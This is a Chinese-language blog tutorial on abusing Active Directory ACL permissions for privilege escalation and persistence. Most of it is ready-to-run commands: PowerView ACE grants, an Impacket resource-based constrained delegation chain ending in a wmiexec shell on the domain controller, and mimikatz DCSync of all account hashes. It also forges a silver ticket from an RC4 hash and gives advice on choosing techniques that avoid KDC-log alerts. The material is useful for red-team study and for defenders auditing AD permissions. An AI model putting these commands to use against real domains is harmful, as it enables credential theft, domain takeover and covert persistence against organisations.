文章目录
-
-
-
- 本次介绍利用ACL简述
- 写入成员-member(bf9679c0-0de6-11d0-a285-00aa003049e2)
- 写入成员-Members(bf9679c0-0de6-11d0-a285-00aa003049e2)手动配置
- RBCD-msDS-AllowedToActOnBehalfOfOtherldentity(3f78c3e5-f79a-46bd-a0b8-9d18116ddc79)
- 重置密码-User-Force-Change-Password(00299570-246d-11d0-a768-00aa006e0529)
- Dcsync(Rights-GUID)添加与手动配置
- Dcsync(ACL脚本添加与白银票据域权限维持)
- 全部ACE-GenericAll
- 全部写入ACE-GenericWrite
- 修改权限-WriteDACL
- 所有者-WriteOwner
- 总结
本次介绍利用ACL简述
属性权限:
1.member与AddMembers:
微软官网说明:
https://learn.microsoft.com/en-us/windows/win32/adschema/a-member
拥有该属性的权限,可以将任意用户/组或机器加入到目标安全组中。
2.msDS-AllowedToActOnBehalfOfOtherIdentity:
微软官网说明:
https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity
拥有该属性的权限,可以修改目标对象基于资源的约束委派RBCD,
进行攻击获取目标的权限。
扩展权限:
微软官方说明(扩展权限):
https://learn.microsoft.com/zh-cn/windows/win32/adschema/extended-rights?source=recommendations
1.User-Force-Change-Password:
拥有该扩展权限,可以在不知道目标用户密码的情况下强制修改
目标用户的密码。
2.DCSync:
拥有该扩展权限,可以通过目标复制服务的GetNCChanges接口
向域控发起数据同步请求,从而获得域内任意用户密码的Hash。
3.Generic Write:
拥有该权限就等于拥有了对目标安全对象的完整控制权。
4.WriteOwner:
拥有该权限可以修改目标安全对象的Owner属性为自身,从而控制
该安全对象。
5.WriteDACL:
拥有该权限,额可以王目标安全对象写入任何的ACE,从而完全控制
安全对象。
写入成员-member(bf9679c0-0de6-11d0-a285-00aa003049e2)
拥有member权限可以将任意用户或组/机器账号添加目标中,
假设hack账户对Domain Admins组拥有WriteMembers权限,
则可以添加自身或其他账户于Domain Admins组。
利用步骤:
1.拿到域管权限将受控普通域账号对Domain Admins组添加WriteMembers ACL权限。
2.受控普通域账户添加其他账户或自身到Domain Admins组进行权限提升。
利用方式1(Powerview):
开启Powershell脚本开启需要管理员权限
Set-ExecutionPolicy RemoteSigned
下载:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-Module .\powerview.ps1
添加hack对Domain Admins组的WriteMembers ACL权限。
Add-DomainObjectAcl -TargetIdentity "domain admins" -PrincipalIdentity hack -Rights WriteMembers -Verbose
Adfind查询是否添加成功命令:
Adfind.exe -b "CN=Domain Admins,CN=Users,DC=test,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;test\hack
使用hack账户添加AclTest1到Domain Admins组:
net group "domain admins" AclTest1 /add /domain
利用方式2(admod):
adfind -users -rb CN=hack333 -dsq|admod -users -rb CN="Domain Admins" -stdinadd member
写入成员-Members(bf9679c0-0de6-11d0-a285-00aa003049e2)手动配置
在高权限组对象中添加写入成员ACE条件可以将任意用户拉近
该组比如Domain Admins组配置了hack999账户的添加写入成员
ACE,虽然hack999账户是普通域成员但是可以将自身或其他域
成员拉近管理员组中进行权限提升,下面讲解如果进行配置相关。
将普通域成员cxk添加到域管组:
net group "domain admins" cxk /add /domain
RBCD-msDS-AllowedToActOnBehalfOfOtherldentity(3f78c3e5-f79a-46bd-a0b8-9d18116ddc79)
微软文档说明:
https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity
在获得域管权限下可以将域内普通用户账户添加对高权限机器账户的msDS-AllowedToActOnBehalfOfOtherldentity
写入的权限,拥有该属性可以对目标机器账号进行约束资源委派利用。
手动配置:
powerview通过System-Id-Guid进行配置:
导入脚本
Import-Module .\PowerView.PS1
通过System-Id-Guid添加hack100账户对域控的msDS-AllowedToActOnBehalfOfOtherldentity写入属性权限ACE。
文档说明:
https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainObjectAcl/
Add-DomainObjectAcl -TargetIdentity "CN=WIN-DC,OU=Domain Controllers,DC=test,DC=com" -PrincipalIdentity hack100 -RightsGUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79 -Verbose
使用Adfind查询是否添加成功:
AdFind.exe -b "CN=WIN-DC,OU=Domain Controllers,DC=test,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;test\hack100
进行资源约束委派利用(Impacket):
详细过程大家可以看我之前写的关于资源约束委派利用的文章地址如下:
http://t.csdn.cn/gsAF3
SAMR协议创建受控的机器账号:
python3 addcomputer.py -computer-name 'hackJiQi' -computer-pass 'password123' -dc-ip 10.211.55.100 'test.com/hack100:Password1234' -method SAMR -debug
使用Adfind查询新增机器账号hackJiQi$的sid
AdFind.exe -f "(&(objectClass=computer)(sAMAccountName=hackJiQi$))" objectSid
objectSid: S-1-5-21-3042504039-1145428418-1324677547-1164
rbcd.py脚本修改WIN-DC$的msDS-AllowedToActOnBehalfOfOtherIdentity属性写入hackJiQi$:
python3 rbcd.py -delegate-to WIN-DC$ -delegate-from hackJiQi$ -dc-ip 10.211.55.100 test/hack100:Pass123 -action write
以administrator身份对域控进行基于资源的约束委派请求cifs服务TGS票据:
python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/getST.py -dc-ip 10.211.55.100 -spn cifs/WIN-DC.test.com -impersonate administrator 'test.com/hackJiQi$:password123'
export KRB5CCNAME=administrator.ccache 导入administrator票据
进行ptt获取shell
proxychains python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/wmiexec.py -k test.com/[email protected] -no-pass -codec gbk
重置密码-User-Force-Change-Password(00299570-246d-11d0-a768-00aa006e0529)
在获取域管的情况下可以将任意普通域账号添加高权限账号重置密码ACE,
无论高权限账号如何密码变更都可以使用ACE账号进行密码重置进行域权限维持。
微软文档说明:
https://learn.microsoft.com/en-us/windows/win32/adschema/r-user-force-change-password
手动配置:
将HackPassword普通域成员对Administrator域管添加重置密码ACE,下面使用Admod进行密码重置:
Admod -users -rb cn=administrator unicodepwd::Pass@123 -optenc
使用powerview脚本进行ACE添加:
Import-Module .\powerview.ps1
Add-DomainObjectAcl -TargetIdentity administrator -PrincipalIdentity HackPassword2 -Rights ResetPassword -Verbose
使用powerview脚本进行ACE添加(Rights-GUID方式):
Import-Module .\powerview.ps1
Rights-GUID方式添加:
Add-DomainObjectAcl -TargetIdentity "CN=yuguan,CN=Users,DC=test,DC=com" -PrincipalIdentity hack100 -RightsGUID 00299570-246d-11d0-a768-00aa006e0529 -Verbose
需要注意:
必须使用Admod工具进行密码重置使用cmd命令重置密码会提示拒绝访问。
Dcsync(Rights-GUID)添加与手动配置
Dcsync是常用的域内利用技术可以导出全部账号ntlm hash,拥有该权限的账号
可以通过目录复制服务GetNCChanges接口向域控发起数据同步请求,Dcsync需要
如下3个Rights-GUID。
1.复制目录变更:DS-Replication-Get-Changes(1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes
PowerView通过Rights-GUID添加DcsyncTest账号具有复制目录变更ACE命令:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity DcsyncTest -RightsGUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 -Verbose
2.复制目录更改所有项:DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all
PowerView通过Rights-GUID添加DcsyncTest账号具有复制目录更改所有项ACE命令:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity DcsyncTest -RightsGUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 -Verbose
3.正在复制筛选集中的目录更改:DS-Replication-Get-Changes-In-Filtered-Set(89e95b76-444d-4c62-991a-0facbeda640c)特殊环境下需要
https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set
PowerView通过Rights-GUID添加DcsyncTest账号具有正在复制筛选集中的目录更改ACE命令:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity DcsyncTest -RightsGUID 89e95b76-444d-4c62-991a-0facbeda640c -Verbose
手动配置只需要添加:复制目录变更/复制目录更改所有项,在特殊有环境下需要正在复制筛选集中的目录更改以上ACE。
Dcsync(ACL脚本添加与白银票据域权限维持)
拿到域管权限后使用PowerView脚本将普通受控的域账号添加Dcsync ACL用于权限维持。
对普通域账号HackDcsync添加Dcsync ACL PowerView命令:
Add-DomainObjectAcl -TargetIdentity 'DC=test,DC=com' -PrincipalIdentity HackDcsync -Rights DCSync -Verbose
使用Adfind工具查看是否添加成功:
Adfind.exe -b "DC=test,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";;test\HackDcsync -recmute
mimikatz进行Dcsync操作:
lsadump::dcsync /domain:test.com /all /csv
Dcsync ACL域账号白银票据域权限维持:
其实跟传统的白银票据利用没有区别但是,不过这里咱们的账号HackDcsync是隶属于Domain Users组的
没有域管权限一些安全产品可能对Dcsync监控的是域控机器账号与高权限组用户,对于低权限账号没有进行
监控这里选择白银票据而非黄金票据是因为黄金票据申请TGS会留下KDC日志,而白银票据只会在终端产生日志
在只监控KDC日志的情况下可以绕过安全告警。
白银票据利用方式可以参考我之前写的文章:
http://t.csdn.cn/8VzYO
mimikatz制作HackDcsync ldap白银票据:
kerberos::golden /domain:test.com /sid:S-1-5-21-3042504039-1145428418-1324677547 /target:WIN-DC.test.com /service:ldap /rc4:80fb77c064532c6d041657a6d9997340 /user:HackDcsync /ptt
全部ACE-GenericAll
GenericAll就是对目标添加全部ACE也就是对目标拥有了完全控制权限,对于不同的对象拥有的ACE是不同的
比如Domain Admins组就没有Dcsync的ACE,而administrator也没有写入成员的ACE等等,因此针对不同的目标
对象拥有的权限是不同的。
对域账号添加GenericAll:
使用powerview添加GenericAll ACL添加
Import-Module .\powerview.ps1
Add-DomainObjectAcl -TargetIdentity administrator -PrincipalIdentity HackAllAce -Rights All -Verbose
Get-ObjectAcl -SamAccountName administrator -ResolveGUIDs | ? {$_. ActiveDirectoryRights -eq "GenericAll"}
拥有HackAllAce对Administrator拥有了完全控制器可以对目标进行密码重置读写全部属性等等。
移除HackAllAce对administrator的完全控制权。
Remove-DomainObjectAcl -TargetIdentity administrator -PrincipalIdentity HackAllAce -Rights All -Verbose
下面简单讲述不同对象的利用方式当然你拥有了全部权限还有其他利用方式下面只是简述:
1.域对象进行Dcsync
2.机器账号进行RBCD
3.高权限组进行成员添加
4.高权限域账号重置密码
全部写入ACE-GenericWrite
GenericWrite可以修改目标安全对象的所有属性比如member/msDS-AllowedToActOnBehalfOfOtherIdentity等,
但是不会添加单一向权限只会添加写入权限,比如Dcsync/User-Force-Change-Password等单一属性。
具体利用跟上述以及讲解过了这里就以加入管理员组为例子:
修改权限-WriteDACL
对目标拥有WriteDACL可以修改目标的DACL可以写入任意ACE,比如拥有对Domain Admins的WriteDACL权限
就可以将普通域成员添加对Domain Admins的写入成员ACE,使用该普通成员可以将任意用户添加到管理员组。
下面以HackDacl账号添加对域的WriteDACL权限。
也可以使用powerview脚本以ACE GUID的方式进行添加这里不再进行赘述。
使用Adfind查询是否添加成功:
AdFind.exe -b DC=test,DC=com -sc getacl -sddlfilter ;;;;;test\HackDacl
HackDacl对DcsyncTest666账号添加Dcsync ACL
Add-DomainObjectAcl -TargetIdentity 'DC=test,DC=com' -PrincipalIdentity DcsyncTest666 -Rights Dcsync -Verbose
所有者-WriteOwner
WriteOwner是修改目标的所有者为拥有权限的普通账户,利用该账户就可以对目标进行WriteDacl属性利用,
所有者默认拥有WriteDACL权限。
HackWriteOwner账户对HackCXK添加对域的Dcsync ACL权限
Add-DomainObjectAcl -TargetIdentity 'DC=test,DC=com' -PrincipalIdentity HackCXK -Rights Dcsync -Verbose
总结
本篇文章讲述如何使用Rights-GUID方式添加ACE以及现在常见的八种ACL权限滥用的配置与利用,
其中使用到的工具有Admod/Adinfd/powerview等,ACL的域权限维持手段还是以最小权限为优,比如
RBCD/重置密码/写入成员等尽量不要添加全部ACE这种在实战的时候可以尽量使用简单的权限维持
手法。